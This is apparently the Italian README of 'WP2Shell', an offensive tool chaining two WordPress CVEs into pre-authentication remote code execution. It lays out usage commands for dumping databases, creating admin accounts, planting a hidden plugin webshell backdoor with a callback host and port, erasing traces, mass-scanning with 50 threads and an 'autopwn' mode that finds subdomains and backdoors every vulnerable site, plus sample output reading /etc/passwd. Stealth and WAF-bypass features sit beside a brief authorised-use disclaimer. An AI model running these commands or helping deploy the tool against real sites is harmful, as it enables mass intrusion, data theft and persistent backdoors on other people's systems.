WP2Shell - Exploit RCE pre-autenticazione per WordPress

CVE-2026-63030 + CVE-2026-60137
Versione: 4.0.0
Autore: G0D150NE

📌 Panoramica

WP2Shell è uno strumento di exploit a catena completa per l'esecuzione remota di codice pre-autenticazione su WordPress. Combina due vulnerabilità critiche:

• CVE-2026-63030 - SQL Injection nell'endpoint Batch dell'API REST
• CVE-2026-60137 - Bypass dell'autenticazione tramite avvelenamento della cache oEmbed

Questo strumento consente il compromesso completo di installazioni WordPress vulnerabili senza alcuna autenticazione - dalla rilevazione alla piena RCE e persistenza.

⚡ Funzionalità

• 🔍 Controllo non distruttivo - Conferma sicura della vulnerabilità
• 📊 Estrazione multi-tecnica - SQLi UNION, basata su errori, blind
• 🚀 Catena RCE completa - Dalla SQLi alla creazione di un account admin
• 🐚 Distribuzione di webshell - Backdoor nascosta basata su plugin
• 🧹 Capacità di pulizia - Rimuove tutte le tracce
• 📡 Scansione di massa - Scanner multi-thread per più target
• 🤖 Modalità Autopwn - Scoperta di sottodomini + sfruttamento automatico
• 🌐 Rotazione proxy - Supporto per proxy rotanti
• 🕵️ Modalità stealth - Ritardi casuali e tecniche di bypass WAF

🔧 Installazione

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Utilizzo

Struttura del comando

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Comandi disponibili

🚀 Esempi

1. Controllo della vulnerabilità

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Estrazione dei dati

Fingerprint di base:

python3 wp2shell.py read https://target.com

Estrai utenti:

python3 wp2shell.py read https://target.com --preset users

Query personalizzata:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dump dell'intero database:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Sfruttamento completo

Exploit di base:

python3 wp2shell.py exploit https://target.com

Exploit con shell interattiva:

python3 wp2shell.py exploit https://target.com --interactive

Exploit con installazione di backdoor:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit con dump del database:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit con pulizia (rimozione tracce):

python3 wp2shell.py exploit https://target.com --cleanup

4. Utilizzo di credenziali admin esistenti

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Scansione di massa

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Modalità Autopwn (Automazione completa)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Questo:

1. Scopre i sottodomini tramite crt.sh
2. Identifica le installazioni WordPress
3. Sfrutta tutti i siti vulnerabili
4. Installa backdoor sui target compromessi

🎮 Shell interattiva

Dopo lo sfruttamento, ottieni una shell interattiva completa:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Riferimento opzioni

Opzioni comuni

Opzioni del comando read

Opzioni del comando exploit

🔬 Dettagli tecnici

Catena di vulnerabilità

1. SQL Injection (CVE-2026-63030)

   • Si verifica nell'endpoint /wp-json/batch/v1
   • Il parametro author_exclude è vulnerabile a SQLi blind basata sul tempo
   • Consente l'estrazione basata su UNION ed errori

2. Bypass dell'autenticazione (CVE-2026-60137)

   • Avvelenamento della cache oEmbed tramite il parametro /_embed
   • Consente di creare utenti admin tramite il changeset del customizer
   • Attiva una catena di re-entry per la creazione di account privilegiati

Versioni di WordPress supportate

Tecniche di estrazione

📊 Esempi di output

Sfruttamento riuscito

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'utilizzo su sistemi senza esplicita autorizzazione è illegale. Gli autori non si assumono alcuna responsabilità per un uso improprio.

📚 Riferimenti

• CVE-2026-63030
• CVE-2026-60137
• Advisory di sicurezza WordPress
• Blog tecnico di WP2Shell

🤝 Contributi

Trovato un bug? Vuoi migliorare lo strumento? Le pull request sono benvenute!

1. Fork del repository
2. Crea il tuo branch per la funzionalità
3. Committa le tue modifiche
4. Esegui push sul branch
5. Apri una Pull Request

📄 Licenza

Licenza MIT - Consulta il file LICENSE per i dettagli.